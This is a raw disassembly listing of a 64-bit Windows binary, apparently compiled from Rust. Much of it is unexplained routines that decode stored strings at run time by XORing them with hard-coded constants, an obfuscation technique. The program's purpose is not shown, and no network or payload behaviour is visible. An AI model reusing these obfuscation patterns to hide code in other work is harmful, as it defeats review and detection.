lea rax, [0x1403c8040]
mov qword [rsi], rax
lea rax, [0x1400e6ffa]
mov qword [rsi + 8], rax
lea rax, [0x140371928]
mov qword [rbx + 0x10], rax
mov qword [rbx + 0x18], rbp
lea rax, [0x140374f00]
mov qword [rbx], rax
mov eax, 1
mov qword [rbx + 8], rax
mov qword [rbx + 0x20], rsi
mov qword [rbx + 0x28], rax
lea r14, [rsp + 0x30]
mov rcx, r14
call fcn.140153c30
mov qword [rsp + 0x190], rdi
mov qword [rsp + 0x198], 8
mov qword [rsp + 0x1a0], rdi
lea rax, [0x140367651]
mov qword [r14], rax
mov rcx, qword [r14]
movabs rax, 0x77a5505918ef5f8b
mov qword [r14], rax
mov rdx, qword [r14]
call fcn.140009c71
pxor xmm0, xmm0
movdqa xmmword [r14], xmm0
mov r10b, 1
lea r9, [0x14036e7dc]
movzx r8d, byte [rdi + r9]
mov rcx, rdi
or rcx, 1
movzx ebp, byte [rcx + r9]
mov rcx, rdi
or rcx, 2
movzx r11d, byte [rcx + r9]
mov rcx, rdi
or rcx, 3
movzx r15d, byte [rcx + r9]
mov rcx, rdi
or rcx, 4
movzx ecx, byte [rcx + r9]
mov rdx, rdi
or rdx, 5
movzx edx, byte [rdx + r9]
mov rsi, rdi
or rsi, 6
mov rbx, rdi
or rbx, 7
movzx esi, byte [rsi + r9]
movzx ebx, byte [rbx + r9]
shl rbx, 0x38
shl rsi, 0x30
or rsi, rbx
shl rdx, 0x28
shl rcx, 0x20
shl r15, 0x18
shl r11, 0x10
shl rbp, 8
or rbp, r8
or rbp, r11
or rbp, r15
or rbp, rcx
or rbp, rdx
or rbp, rsi
xor rbp, qword [rax + rdi]
mov qword [rsp + rdi + 0x30], rbp
mov edi, 8
test r10b, 1
mov r10d, 0
jne 0x14011e298
mov ecx, 0x8208b3a
xor ecx, dword [rax + 0x10]
mov dword [rsp + 0x40], ecx
mov al, byte [rax + 0x14]
xor al, 0xb9
mov byte [rsp + 0x44], al
mov ecx, 0x15
call fcn.140047b2b
mov rdi, rax
mov rbx, rdx
mov rax, qword [rsp + 0x3d]
mov qword [rdx + 0xd], rax
movdqa xmm0, xmmword [rsp + 0x30]
movdqu xmmword [rdx], xmm0
mov rdx, qword [rsp + 0x1a0]
cmp rdx, qword [rsp + 0x190]
jne 0x14011e39e
lea rbp, [rsp + 0x190]
mov rcx, rbp
call fcn.14007e5bc
mov rdx, qword [rbp + 0x10]
mov rax, qword [rsp + 0x198]
lea rcx, [rdx + rdx*2]
mov qword [rax + rcx*8], rdi
mov qword [rax + rcx*8 + 8], rbx
mov qword [rax + rcx*8 + 0x10], 0x15
inc rdx
mov qword [rsp + 0x1a0], rdx
lea rax, [0x14036886c]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0x2acc1e3e91f3252e
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.14000a102
movabs rsi, 0x58e670bbdcfc27d8
xor rsi, qword [rax]
movzx ebp, byte [rax + 0xa]
movzx edi, word [rax + 8]
xor edi, 0x23a3
xor bpl, 0xda
mov ecx, 0xb
call fcn.140047b2b
mov r15, rax
mov rbx, rdx
mov qword [rdx], rsi
mov word [rdx + 8], di
mov byte [rdx + 0xa], bpl
mov rdx, qword [rsp + 0x1a0]
cmp rdx, qword [rsp + 0x190]
jne 0x14011e451
lea rbp, [rsp + 0x190]
mov rcx, rbp
call fcn.14007e5bc
mov rdx, qword [rbp + 0x10]
mov rax, qword [rsp + 0x198]
lea rcx, [rdx + rdx*2]
mov qword [rax + rcx*8], r15
mov qword [rax + rcx*8 + 8], rbx
mov qword [rax + rcx*8 + 0x10], 0xb
inc rdx
mov qword [rsp + 0x1a0], rdx
lea rax, [0x14036d668]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0x963521f88053fcd7
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.140008426
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x30], xmm0
mov r9b, 1
xor edi, edi
lea r10, [0x14036e7f1]
movzx r8d, byte [rdi + r10]
mov rcx, rdi
or rcx, 1
movzx ebx, byte [rcx + r10]
mov rcx, rdi
or rcx, 2
movzx r11d, byte [rcx + r10]
mov rcx, rdi
or rcx, 3
movzx r15d, byte [rcx + r10]
mov rcx, rdi
or rcx, 4
movzx ecx, byte [rcx + r10]
mov rsi, rdi
or rsi, 5
movzx ebp, byte [rsi + r10]
mov rsi, rdi
or rsi, 6
mov rdx, rdi
or rdx, 7
movzx esi, byte [rsi + r10]
movzx edx, byte [rdx + r10]
shl rdx, 0x38
shl rsi, 0x30
or rsi, rdx
shl rbp, 0x28
shl rcx, 0x20
shl r15, 0x18
shl r11, 0x10
shl rbx, 8
or rbx, r8
or rbx, r11
or rbx, r15
or rbx, rcx
or rbx, rbp
or rbx, rsi
xor rbx, qword [rax + rdi]
mov qword [rsp + rdi + 0x30], rbx
mov edi, 8
test r9b, 1
mov r9d, 0
jne 0x14011e4ba
movzx ecx, byte [rax + 0x12]
movzx eax, word [rax + 0x10]
xor eax, 0xb21b
mov word [rsp + 0x40], ax
xor cl, 0xad
mov byte [rsp + 0x42], cl
mov ecx, 0x13
call fcn.140047b2b
mov rdi, rax
mov rbx, rdx
mov eax, dword [rsp + 0x3f]
mov dword [rdx + 0xf], eax
movdqa xmm0, xmmword [rsp + 0x30]
movdqu xmmword [rdx], xmm0
mov rdx, qword [rsp + 0x1a0]
cmp rdx, qword [rsp + 0x190]
jne 0x14011e5c2
lea rbp, [rsp + 0x190]
mov rcx, rbp
call fcn.14007e5bc
mov rdx, qword [rbp + 0x10]
mov rax, qword [rsp + 0x198]
lea rcx, [rdx + rdx*2]
mov qword [rax + rcx*8], rdi
mov qword [rax + rcx*8 + 8], rbx
mov qword [rax + rcx*8 + 0x10], 0x13
inc rdx
mov qword [rsp + 0x1a0], rdx
lea rax, [0x14036588a]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0xc1f3078be7d58149
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.1400099fe
movabs r15, 0xbd8be8a95458de41
xor r15, qword [rax]
mov ebp, 0xd34bb426
xor ebp, dword [rax + 8]
movzx esi, byte [rax + 0xe]
movzx ebx, word [rax + 0xc]
xor ebx, 0xfee1
xor sil, 0x2b
mov ecx, 0xf
call fcn.140047b2b
mov r14, rax
mov rdi, rdx
mov qword [rdx], r15
mov dword [rdx + 8], ebp
mov word [rdx + 0xc], bx
mov byte [rdx + 0xe], sil
mov rdx, qword [rsp + 0x1a0]
cmp rdx, qword [rsp + 0x190]
jne 0x14011e680
lea rbx, [rsp + 0x190]
mov rcx, rbx
call fcn.14007e5bc
mov rdx, qword [rbx + 0x10]
mov rax, qword [rsp + 0x198]
lea rcx, [rdx + rdx*2]
mov qword [rax + rcx*8], r14
mov qword [rax + rcx*8 + 8], rdi
mov qword [rax + rcx*8 + 0x10], 0xf
inc rdx
mov qword [rsp + 0x1a0], rdx
mov rdx, qword [0x1403c8048]
mov r8, qword [0x1403c8050]
lea rsi, [rsp + 0x30]
mov rcx, rsi
call fcn.14009245d
mov rbp, qword [rsi]
mov rbx, qword [rsi + 8]
mov rdx, qword [rsi + 0x10]
lea rcx, [rdx + rdx*2]
lea rax, [rbx + rcx*8]
mov rdi, rbx
test rdx, rdx
je 0x14011e8ac
mov qword [rsp + 0xf8], rax
mov qword [rsp + 0x1d0], rbp
mov qword [rsp + 0x188], rbx
lea rdi, [rbx + 0x18]
shl rdx, 3
lea rbx, [rdx + rdx*2]
lea r12, [0x14036e810]
lea r13, [rsp + 0x100]
lea r15, [rsp + 0x30]
mov rax, qword [rdi - 0x10]
test rax, rax
je 0x14011e894
mov rcx, qword [rdi - 0x18]
mov rdx, qword [rdi - 8]
mov qword [rsp + 0x280], rcx
mov qword [rsp + 0x288], rax
mov qword [rsp + 0x290], rdx
lea rax, [rsp + 0x280]
mov qword [rsp + 0x340], rax
lea rax, [0x140006df0]
mov qword [rsp + 0x348], rax
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x48], 2
lea rax, [rsp + 0x340]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 1
mov rcx, r13
mov rdx, r15
call fcn.140030660
mov r14, qword [rsp + 0x100]
mov rsi, qword [rsp + 0x108]
mov r8, qword [rsp + 0x110]
mov rcx, r15
mov rdx, rsi
call fcn.140031440
mov rdx, qword [rsp + 0x1a0]
cmp rdx, qword [rsp + 0x190]
jne 0x14011e7e9
lea rcx, [rsp + 0x190]
call fcn.14007e5bc
mov rdx, qword [rsp + 0x1a0]
mov rax, qword [rsp + 0x198]
lea rcx, [rdx + rdx*2]
mov rbp, qword [rsp + 0x40]
mov qword [rax + rcx*8 + 0x10], rbp
movdqu xmm0, xmmword [rsp + 0x30]
movdqu xmmword [rax + rcx*8], xmm0
inc rdx
mov qword [rsp + 0x1a0], rdx
test r14, r14
je 0x14011e82c
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x280], 0
je 0x14011e84e
mov r8, qword [rsp + 0x288]
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
add rdi, 0x18
add rbx, 0xffffffffffffffe8
lea rsi, [rsp + 0x30]
jne 0x14011e71b
mov rax, qword [rsp + 0xf8]
mov rdi, rax
mov rbx, qword [rsp + 0x188]
mov rbp, qword [rsp + 0x1d0]
jmp 0x14011e8ac
test rbp, rbp
mov r14, qword [rsp + 0x1d8]
jne 0x14011ba67
jmp 0x14011ba79
mov rbx, qword [rsp + 0x188]
mov rbp, qword [rsp + 0x1d0]
mov rax, qword [rsp + 0xf8]
sub rax, rdi
movabs rcx, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 4
mov rcx, rdi
call fcn.140026fa9
test rbp, rbp
je 0x14011e8df
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov ecx, 0x48
mov edx, 8
call fcn.1400235d0
test rax, rax
je 0x14012940b
mov r15, rax
lea rax, [0x14036d9e6]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0x11968a33bbc8cd3c
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.140008bb6
mov r13, rsi
movabs rsi, 0x461225f5d037dae0
xor rsi, qword [rax]
mov ebx, 0x573c10c3
xor ebx, dword [rax + 8]
mov ecx, 0xc
call fcn.140047b2b
mov qword [rsp + 0x188], rax
mov r12, rdx
mov qword [rdx], rsi
mov dword [rdx + 8], ebx
lea rax, [0x140363b68]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0x8716446c1ca9634a
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.1400095cd
mov ecx, dword [rax]
movzx edx, byte [rax + 6]
movzx ebx, word [rax + 4]
xor ebx, 0xdf24
xor dl, 0xc4
movzx ebp, dl
mov rax, rbp
shl rax, 0x30
shl rbx, 0x20
or rbx, rax
mov edi, 0x845a4d5c
xor rdi, rcx
mov ecx, 7
call fcn.140047b2b
mov r14, rax
mov rsi, rdx
mov byte [rdx + 6], bpl
mov dword [rdx], edi
shr rbx, 0x20
mov word [rdx + 4], bx
lea rax, [0x14036051e]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0x22382578e00ad756
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.14000a577
movabs rdi, 0x6e03346773681cfc
xor rdi, qword [rax]
movzx ebx, byte [rax + 0xa]
movzx ebp, word [rax + 8]
xor ebp, 0xd420
xor bl, 0x75
mov ecx, 0xb
call fcn.140047b2b
mov qword [r15 + 0x30], rax
mov qword [r15 + 0x38], rdx
mov qword [rdx], rdi
mov word [rdx + 8], bp
mov byte [rdx + 0xa], bl
mov qword [r15 + 0x40], 0xb
mov rax, qword [rsp + 0x188]
mov qword [r15], rax
mov qword [r15 + 8], r12
mov qword [r15 + 0x10], 0xc
mov qword [r15 + 0x18], r14
mov qword [r15 + 0x20], rsi
mov qword [r15 + 0x28], 7
lea rax, [r15 + 0x48]
mov qword [rsp + 0x1c0], rax
xor ecx, ecx
lea rbp, [rsp + 0x100]
mov r14, qword [rsp + 0x1d8]
lea r12, [rsp + 0x3f8]
lea rdi, [rsp + 0x280]
mov qword [rsp + 0x1c8], r15
lea rax, [rcx + rcx*2]
lea rsi, [r15 + rax*8]
add rsi, 0x18
mov rdx, qword [r15 + rax*8 + 8]
mov qword [rsp + 0x188], rdx
test rdx, rdx
je 0x14011edfd
mov qword [rsp + 0x268], rsi
lea rax, [r15 + rax*8]
inc rcx
mov qword [rsp + 0x1d0], rcx
mov rcx, qword [rax]
mov qword [rsp + 0xf8], rcx
mov rcx, qword [rsp + 0x1a0]
test rcx, rcx
lea rsi, [rsp + 0x30]
je 0x14011ed17
mov r13, qword [rax + 0x10]
mov rbx, qword [rsp + 0x198]
shl rcx, 3
lea r14, [rcx + rcx*2]
mov qword [rsp + 0x3d0], rbx
mov rcx, rsi
mov rdx, qword [rsp + 0x188]
mov r8, r13
call fcn.140031440
mov rsi, qword [rsp + 0x38]
mov r8, qword [rsp + 0x40]
mov rcx, rbp
mov rdx, rsi
call fcn.14014ced0
cmp qword [rsp + 0x30], 0
je 0x14011eb4c
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
cmp byte [rsp + 0x118], 3
jne 0x1401291d3
mov rax, qword [rsp + 0x110]
mov qword [rsp + 0x290], rax
movdqu xmm0, xmmword [rsp + 0x100]
movdqa xmmword [rsp + 0x280], xmm0
mov rax, qword [rsp + 0x278]
mov qword [rsp + 0x2f0], rax
mov rax, qword [rsp + 0xf0]
mov qword [rsp + 0x310], rax
mov qword [rsp + 0x30], rdi
lea rax, [0x140006df0]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x2f0]
mov qword [rsp + 0x40], rax
lea rax, [0x1400a2ed3]
mov qword [rsp + 0x48], rax
lea rcx, [rsp + 0x310]
mov qword [rsp + 0x50], rcx
mov qword [rsp + 0x58], rax
lea rcx, [rsp + 0x3d0]
mov qword [rsp + 0x60], rcx
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x100], 0
lea rax, [0x14036e830]
mov qword [rsp + 0x110], rax
mov eax, 4
mov qword [rsp + 0x118], rax
lea rsi, [rsp + 0x30]
mov qword [rsp + 0x120], rsi
mov qword [rsp + 0x128], rax
lea rcx, [rsp + 0x340]
mov rdx, rbp
call fcn.140030660
cmp qword [rsp + 0x280], 0
je 0x14011ec59
mov r8, qword [rsp + 0x288]
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rbp, qword [rsp + 0x340]
mov r15, qword [rsp + 0x348]
mov r12, qword [rsp + 0x350]
mov rcx, rsi
mov rdx, r15
mov r8, r12
xor r9d, r9d
call fcn.140151c10
cmp dword [rsp + 0x30], 2
jne 0x14011eca4
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x108], rax
mov qword [rsp + 0x100], 2
jmp 0x14011ecd5
mov ecx, 9
lea rdi, [rsp + 0x100]
lea rsi, [rsp + 0x30]
rep movsq qword [rdi], qword [rsi]
lea rsi, [rsp + 0x30]
lea rdi, [rsp + 0x280]
cmp qword [rsp + 0x100], 2
jne 0x14011ed6b
lea rcx, [rsp + 0x108]
call fcn.14006467d
test rbp, rbp
je 0x14011ecf9
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
add rbx, 0x18
add r14, 0xffffffffffffffe8
lea r12, [rsp + 0x3f8]
lea rbp, [rsp + 0x100]
jne 0x14011eb02
cmp qword [rsp + 0xf8], 0
je 0x14011ed39
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, qword [rsp + 0x188]
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [rsp + 0x1d0]
cmp rcx, 3
mov r14, qword [rsp + 0x1d8]
mov r15, qword [rsp + 0x1c8]
jne 0x14011ea94
mov rax, qword [rsp + 0x1c0]
mov rsi, rax
jmp 0x14011ee05
lea rsi, [rsp + 0x1e8]
mov rcx, rsi
mov rdx, r15
mov r8, r12
call fcn.1401674f0
mov byte [rsi - 8], 0x1a
test rbp, rbp
je 0x14011ed9c
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0xf8], 0
mov r14, qword [rsp + 0x1d8]
lea r12, [rsp + 0x3f8]
mov r15, qword [rsp + 0x1c8]
je 0x14011edd6
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, qword [rsp + 0x188]
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsp + 0x1d0]
shl rax, 3
lea rcx, [rax + rax*2]
mov eax, 0x48
sub rax, rcx
mov bl, 0x1a
mov dil, 1
mov rsi, qword [rsp + 0x268]
jmp 0x14011ee0c
mov rax, qword [rsp + 0x1c0]
sub rax, rsi
mov bl, 0x13
xor edi, edi
movabs rcx, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 4
mov rcx, rsi
call fcn.140026fa9
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
mov rsi, qword [rsp + 0x198]
mov rdx, qword [rsp + 0x1a0]
mov rcx, rsi
call fcn.140026fa9
cmp qword [rsp + 0x190], 0
je 0x14011ee6c
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
test dil, dil
je 0x14011eef9
mov rdi, qword [rsp + 0x1f0]
mov rdx, qword [rsp + 0x1f8]
mov rbp, qword [rsp + 0x1e8]
xor eax, eax
lea r8, [rsp + 0x30]
mov dword [r8 + 0x20], eax
mov word [r8 + 0x24], 0
mov qword [r8], 0
mov dword [r8 + 8], eax
movdqa xmm0, xmmword [0x1402ada10]
movdqu xmmword [r8 + 0x10], xmm0
mov byte [r8 + 0x20], 1
mov rcx, rdi
call fcn.14014dfc0
mov rbx, rax
mov rsi, rdx
test rbp, rbp
je 0x14011eee2
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
test rbx, rbx
je 0x14011ef5c
lea rcx, [rsp + 0x30]
mov qword [rcx], rsi
call fcn.14006467d
jmp 0x14011f0c1
mov eax, dword [rsp + 0x1e1]
mov ecx, dword [rsp + 0x1e4]
mov dword [rsp + 0x283], ecx
mov dword [rsp + 0x280], eax
mov rdi, qword [rsp + 0x1e8]
mov rsi, qword [rsp + 0x1f0]
mov rax, qword [rsp + 0x1f8]
mov rdx, qword [rsp + 0x200]
movdqu xmm0, xmmword [rsp + 0x208]
movdqa xmmword [rsp + 0x100], xmm0
mov rcx, qword [rsp + 0x218]
mov qword [rsp + 0x110], rcx
jmp 0x14011f0c3
mov ecx, 0x2000
xor edx, edx
call fcn.140034043
mov qword [rsp + 0x100], rsi
mov qword [rsp + 0x108], rdx
mov qword [rsp + 0x110], 0x2000
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x118], xmm0
mov qword [rsp + 0x128], 0
mov rbx, qword [rsp + 0xf0]
lea rsi, [rbx + 0x30]
cmp qword [rbx + 0x40], 0
je 0x14011efed
xor ebx, ebx
lea r8, [rsp + 0x1e0]
mov qword [r8], rbx
mov qword [r8 + 8], 1
mov qword [r8 + 0x10], rbx
lea rdi, [rsp + 0x30]
lea rdx, [rsp + 0x100]
mov rcx, rdi
call fcn.14000ba34
cmp qword [rdi], rbx
je 0x14011f054
mov rdi, qword [rsp + 0x38]
jmp 0x14011f085
lea rdi, [rsp + 0x1e0]
lea rdx, [rsp + 0x100]
mov rcx, rdi
mov r8, rsi
call fcn.14000ba34
mov rdx, qword [rbx + 0x38]
mov rsi, qword [rbx + 0x40]
lea rbp, [rsp + 0x30]
mov rcx, rbp
mov r8, rsi
call fcn.14003bcb0
mov rax, qword [rbp]
mov rcx, qword [rdi]
mov rbp, qword [rdi + 8]
test rcx, rcx
lea rdi, str.stream_did_not_contain_valid_UTF_8
cmovne rdi, rbp
xor edx, edx
test rax, rax
cmove rdi, rbp
cmove rdx, rsi
mov qword [rbx + 0x40], rdx
or rax, rcx
jne 0x14011f0a7
jmp 0x1401289d7
mov rdi, qword [rsp + 0x1e8]
mov r8, qword [rsp + 0x1f0]
lea rbx, [rsp + 0x30]
mov rcx, rbx
mov rdx, rdi
call fcn.14003bcb0
cmp qword [rbx], 0
je 0x14012899c
lea rdi, str.stream_did_not_contain_valid_UTF_8
cmp qword [rsp + 0x1e0], 0
je 0x14011f0a7
mov r8, qword [rsp + 0x1e8]
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rsp + 0x30]
mov qword [rcx], rdi
call fcn.14006467d
lea rcx, [rsp + 0x100]
call fcn.140129678
mov bl, 0x17
lea rcx, [rsp + 0x30]
mov byte [rcx], bl
mov ebp, dword [rsp + 0x280]
mov ebx, dword [rsp + 0x283]
mov dword [rcx + 1], ebp
mov dword [rcx + 4], ebx
mov qword [rcx + 8], rdi
mov qword [rcx + 0x10], rsi
mov qword [rcx + 0x18], rax
mov qword [rcx + 0x20], rdx
movdqa xmm0, xmmword [rsp + 0x100]
movdqu xmmword [rcx + 0x28], xmm0
mov rax, qword [rsp + 0x110]
mov qword [rcx + 0x38], rax
call fcn.1400054cc
xor ebx, ebx
lea rdi, [rsp + 0x518]
mov qword [rdi], rbx
mov qword [rdi + 8], rsi
mov qword [rsp + 0x100], rdi
lea rax, [0x140131a04]
mov qword [rsp + 0x108], rax
lea r15, [rsp + 0x30]
lea rax, [0x140371928]
mov qword [r15 + 0x10], rax
mov qword [r15 + 0x18], 2
lea rax, [0x140374f00]
mov qword [r15], rax
mov eax, 1
mov qword [r15 + 8], rax
lea rcx, [rsp + 0x100]
mov qword [r15 + 0x20], rcx
mov qword [r15 + 0x28], rax
mov rcx, r15
call fcn.140153c30
mov rbx, qword [rdi]
test rbx, rbx
je 0x140121baf
mov rbp, qword [rsp + 0x520]
mov rcx, rbp
call fcn.140047b2b
mov r14, rax
mov r13, rdx
mov rcx, rdx
mov rdx, rbx
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rax, rbp
add rax, 3
jb 0x1401294da
shr rax, 2
lea rcx, [rax + rax*2]
call fcn.140047b2b
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], rdx
mov qword [rsp + 0x40], 0
mov rbx, rbp
add rbx, 7
jb 0x1401294ef
shr rbx, 3
lea rax, [rbx + rbx]
lea rdx, [rax + rax*2]
lea rdi, [rsp + 0x30]
mov rcx, rdi
call fcn.140034ddf
mov rax, qword [rdi + 8]
mov rdi, qword [rdi + 0x10]
mov qword [rsp + 0x28], rdi
mov rsi, rax
mov qword [rsp + 0x20], rax
lea r15, [rsp + 0x100]
mov rcx, r15
mov rdx, r13
mov r8, rbp
mov r9, rbx
call fcn.140006e04
mov bl, byte [r15]
cmp bl, 3
jne 0x14011f243
mov rax, qword [rsp + 0x108]
cmp rdi, rax
jb 0x14011f243
mov qword [rsp + 0x40], rax
test r14, r14
mov rax, rsi
lea r15, [rsp + 0x30]
je 0x14011f267
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, r13
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x30]
cmp bl, 3
mov r14, qword [rsp + 0x1d8]
jne 0x14012346b
mov qword [rsp + 0x3c0], rcx
mov r8, qword [rsp + 0x40]
cmp r8, 5
jb 0x140129555
mov qword [rsp + 0x468], rax
lea rdx, [rax + 5]
add r8, 0xfffffffffffffffb
lea rsi, [rsp + 0x30]
mov rcx, rsi
call fcn.14000e713
mov al, byte [rsi]
cmp al, 0x1a
jne 0x140123492
lea rsi, [rsp + 0x30]
mov rax, qword [rsi + 0x18]
movdqu xmm0, xmmword [rsi + 8]
movdqa xmmword [rsp + 0x3d0], xmm0
mov qword [rsp + 0x3e0], rax
mov rdx, qword [0x1403c8048]
mov r8, qword [0x1403c8050]
mov rcx, rsi
call fcn.14009245d
mov rax, qword [rsi]
mov qword [rsp + 0x418], rax
mov rdi, qword [rsi + 8]
mov rax, qword [rsi + 0x10]
lea rcx, [rax + rax*2]
lea rcx, [rdi + rcx*8]
mov rsi, rdi
test rax, rax
je 0x140128d50
mov rbp, qword [rsp + 0xf0]
lea rdx, [rbp + 0x90]
mov qword [rsp + 0x470], rdx
lea rdx, [rbp + 0x48]
mov qword [rsp + 0x460], rdx
lea rdx, [rbp + 0x60]
mov qword [rsp + 0x488], rdx
lea rdx, [rbp + 0x78]
mov qword [rsp + 0x480], rdx
movdqa xmm6, xmmword [0x1402ada10]
mov qword [rsp + 0x438], rdi
lea r13, [rsp + 0x30]
mov qword [rsp + 0x420], rcx
lea rsi, [rdi + 0x18]
mov r15, qword [rdi + 8]
test r15, r15
je 0x140128d43
mov qword [rsp + 0x1c0], rsi
mov rcx, qword [rdi]
mov qword [rsp + 0x270], rcx
mov rbx, qword [rdi + 0x10]
mov rcx, qword [rbp + 0x98]
mov rdx, qword [rbp + 0xa0]
mov qword [rbp + 0xa0], 0
mov rsi, rbp
call fcn.14007ad9b
lea rdi, [rsp + 0x100]
mov rcx, rdi
mov rdx, r15
mov qword [rsp + 0xf8], rbx
mov r8, rbx
call fcn.140031440
mov rcx, r13
mov rdx, rbp
mov r8, rdi
call fcn.1401296b0
mov al, byte [rsp + 0x30]
cmp al, 0x1a
jne 0x1401288e8
mov rbp, qword [rsp + 0x38]
mov rdx, qword [rsp + 0x40]
mov rax, qword [rsp + 0x48]
lea rcx, [rax + rax*8]
lea r14, [rdx + rcx*8]
mov qword [rsp + 0x3c8], rbp
mov qword [rsp + 0x190], rbp
mov qword [rsp + 0x198], rdx
mov qword [rsp + 0x1a0], r14
mov qword [rsp + 0x1a8], rdx
lea rcx, [rsp + 0x3d0]
mov qword [rsp + 0x1b0], rcx
mov r13, rdx
test rax, rax
mov qword [rsp + 0x1d0], r15
lea r12, [rsp + 0x110]
mov qword [rsp + 0x188], rdx
je 0x14011f73b
lea rbp, [rdx + 0x48]
shl rax, 3
lea rbx, [rax + rax*8]
mov r13, rdx
mov r15, rdx
lea rsi, [rsp + 0x40]
mov rax, qword [rbp - 0x40]
test rax, rax
je 0x14011f723
mov rcx, qword [rbp - 0x48]
mov rdx, qword [rbp - 8]
lea rdi, [rsp + 0x40]
mov qword [rdi + 0x40], rdx
movdqu xmm0, xmmword [rbp - 0x38]
movdqu xmm1, xmmword [rbp - 0x28]
movups xmm2, xmmword [rbp - 0x18]
movups xmmword [rdi + 0x30], xmm2
movdqu xmmword [rdi + 0x20], xmm1
movdqu xmmword [rdi + 0x10], xmm0
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x80], 0
je 0x14011f642
cmp qword [rsp + 0x50], 0
je 0x14011f642
mov ecx, 9
lea rdi, [rsp + 0x340]
rep movsq qword [rdi], qword [rsi]
mov rdx, qword [rsp + 0x348]
mov r8, qword [rsp + 0x350]
lea rcx, [rsp + 0x280]
call fcn.140031440
mov rdx, qword [rsp + 0x360]
mov r8, qword [rsp + 0x368]
lea rcx, [rsp + 0x298]
call fcn.140031440
mov rsi, qword [rsp + 0x378]
mov rdi, qword [rsp + 0x380]
mov rcx, rdi
xor edx, edx
call fcn.140034043
mov rcx, rdx
mov qword [rsp + 0x2b0], rax
mov qword [rsp + 0x2b8], rdx
mov rdx, rsi
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov qword [rsp + 0x2c0], rdi
lea rdi, [rsp + 0x280]
lea rsi, [rsp + 0x100]
mov rcx, rsi
mov rdx, rdi
xor r8d, r8d
call fcn.14000e77e
cmp dword [rsp + 0x100], 1
jne 0x14011f64f
mov rdx, qword [rsp + 0x348]
mov r8, qword [rsp + 0x350]
mov rcx, rdi
call fcn.140031440
mov rdx, qword [rsp + 0x360]
mov r8, qword [rsp + 0x368]
lea rcx, [rsp + 0x298]
call fcn.140031440
mov rsi, qword [rsp + 0x378]
mov rdi, qword [rsp + 0x380]
mov rcx, rdi
xor edx, edx
call fcn.140034043
mov rcx, rdx
mov qword [rsp + 0x2b0], rax
mov qword [rsp + 0x2b8], rdx
mov rdx, rsi
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov qword [rsp + 0x2c0], rdi
mov rax, qword [rsp + 0x1b0]
mov r8, qword [rax + 8]
mov r9, qword [rax + 0x10]
lea rcx, [rsp + 0x1e0]
lea rdx, [rsp + 0x280]
call fcn.14000e77e
lea rcx, [rsp + 0x108]
call fcn.1400054cc
jmp 0x14011f65f
mov rcx, rsi
call fcn.140005610
jmp 0x14011f70d
mov ecx, 0xa
lea rdi, [rsp + 0x1e0]
rep movsq qword [rdi], qword [rsi]
lea rcx, [rsp + 0x340]
call fcn.140005610
mov rcx, qword [rsp + 0x1e8]
mov rax, qword [rsp + 0x1f0]
cmp qword [rsp + 0x1e0], 0
je 0x14011f6ce
mov qword [rsp + 0x100], rcx
mov qword [rsp + 0x108], rax
lea rax, [rsp + 0x1f8]
movdqu xmm0, xmmword [rax]
movdqu xmm1, xmmword [rax + 0x10]
